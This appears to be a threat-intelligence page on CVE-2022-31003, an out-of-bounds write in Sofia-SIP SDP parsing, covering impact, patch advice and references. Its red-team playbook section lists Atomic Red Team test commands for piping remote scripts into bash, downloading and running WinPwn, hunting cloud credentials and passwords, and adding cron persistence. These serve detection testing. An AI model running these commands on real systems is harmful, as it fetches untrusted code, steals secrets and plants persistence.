CVE-2022-31003
Overview
This vulnerability is a heap-based out-of-bounds write caused by improper memory handling during SDP message parsing in the Sofia-SIP User-Agent library component of FreeSWITCH. Specifically, the code calculates a pointer offset as `rest = record + 2` without adequate boundary checks, resulting in memory access beyond the null terminator. This flaw affects versions of Sofia-SIP prior to 1.13.8 during the processing of Session Description Protocol (SDP) lines.
Vulnerability Description
Sofia-SIP is an open-source Session Initiation Protocol (SIP) User-Agent library. Prior to version 1.13.8, when parsing each line of a sdp message, `rest = record + 2` will access the memory behind `\0` and cause an out-of-bounds write. An attacker can send a message with evil sdp to FreeSWITCH, causing a crash or more serious consequence, such as remote code execution. Version 1.13.8 contains a patch for this issue.
Impact
An unauthenticated remote attacker can send malicious SDP messages to a FreeSWITCH server using vulnerable Sofia-SIP versions, triggering a crash or potentially executing arbitrary code due to the out-of-bounds write. This can cause denial of service or remote code execution without requiring user interaction or privileges, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. The business impact includes service disruption and potential compromise of the affected telephony infrastructure.
Solution
Upgrade Sofia-SIP to version 1.13.8 or later, which includes the patch addressing the out-of-bounds write vulnerability. Debian users should refer to Debian Security Advisory DSA-5410 for updated packages. Additional patch details and instructions are available in the Gentoo GLSA-202210-18 and the GitHub advisory GHSA-8w5j-6g2j-pxcp. Applying these vendor-recommended updates is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Sofia-SIP library arises from improper handling of Session Description Protocol (SDP) messages, specifically during the parsing process. The flaw is characterized by an out-of-bounds write, which occurs when the code attempts to access memory beyond the intended buffer. This is triggered by the assignment of `rest = record + 2`, which can lead to writing data past the null terminator (`\0`) of a string. Such memory mismanagement can result in various critical issues, including application crashes and the potential for remote code execution. This vulnerability highlights the risks associated with unchecked memory operations, particularly in libraries that handle network protocols where input can be controlled by external entities.
Attackers can exploit this vulnerability by crafting malicious SDP messages that are sent to systems utilizing the affected Sofia-SIP library, such as FreeSWITCH. The exploitation process begins with the attacker sending a specially formatted SIP message containing the malicious SDP payload. If the target system processes this message without adequate validation, it can lead to the execution of arbitrary code or the crashing of the application. This scenario not only compromises the integrity of the affected system but also opens the door for further attacks, such as unauthorized access to sensitive data or disruption of services. The ease with which an attacker can craft such messages makes this vulnerability particularly concerning for organizations relying on SIP-based communications.
The real-world implications of this vulnerability can be severe, especially for businesses that depend on real-time communication services. A successful exploit could lead to service outages, loss of customer trust, and potential financial losses. For organizations in sectors such as telecommunications, finance, and healthcare, where communication integrity is paramount, the risks are amplified. Additionally, the possibility of remote code execution means that attackers could gain control over the affected systems, leading to data breaches or the deployment of further malicious payloads. The high CVSS score of 9.8 underscores the critical nature of this vulnerability and the urgency for organizations to address it.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First and foremost, upgrading to the patched version of the Sofia-SIP library is essential to eliminate the underlying flaw. Regularly updating all software components, especially those that handle network protocols, is a best practice that can significantly reduce exposure to known vulnerabilities. In addition, organizations should employ intrusion detection systems (IDS) that can monitor and analyze SIP traffic for anomalous patterns indicative of exploitation attempts. Implementing strict input validation and sanitization measures can also help prevent malicious payloads from being processed by the application.
In conclusion, the vulnerability in the Sofia-SIP library serves as a stark reminder of the importance of secure coding practices and the need for vigilance in software maintenance. The potential for exploitation through crafted SDP messages poses a significant threat to the stability and security of communication systems. By understanding the technical details, attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such vulnerabilities. Proactive detection and mitigation strategies, combined with a commitment to timely updates, will be crucial in safeguarding against the risks associated with this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-31003, rising by over 30% to place it near the 94th percentile. This upward trend, supported by our telemetry showing a steady week-over-week increase, indicates growing confidence in the likelihood of exploitation, even though no new exploit code or active campaigns have been detected to date. The elevated EPSS score suggests that threat actors may be prioritizing this vulnerability due to its critical severity and the potential for remote code execution in widely deployed FreeSWITCH environments. For defenders, this shift underscores an increased risk posture, warranting heightened vigilance despite the absence of confirmed exploit activity. The evolving risk landscape reflects a potential acceleration in adversary interest, which could translate into imminent exploitation attempts if proof-of-concept exploits become publicly available or weaponized in the wild.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Signalwire | Sofia-Sip | All |
cpe:2.3:a:signalwire:sofia-sip:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-31003 |
| github.com |
GitHub CVE
|
https://github.com/freeswitch/sofia-sip/security/advisories/GHSA-8w5j-6g2j-pxcp |
| github.com |
GitHub CVE
|
https://github.com/freeswitch/sofia-sip/commit/907f2ac0ee504c93ebfefd676b4632a3575908c9 |
| lists.debian.org |
GitHub CVE
mailing-list
|
https://lists.debian.org/debian-lts-announce/2022/09/msg00001.html |
| security.gentoo.org |
GitHub CVE
vendor-advisory
|
https://security.gentoo.org/glsa/202210-18 |
| debian.org |
GitHub CVE
vendor-advisory
|
https://www.debian.org/security/2023/dsa-5410 |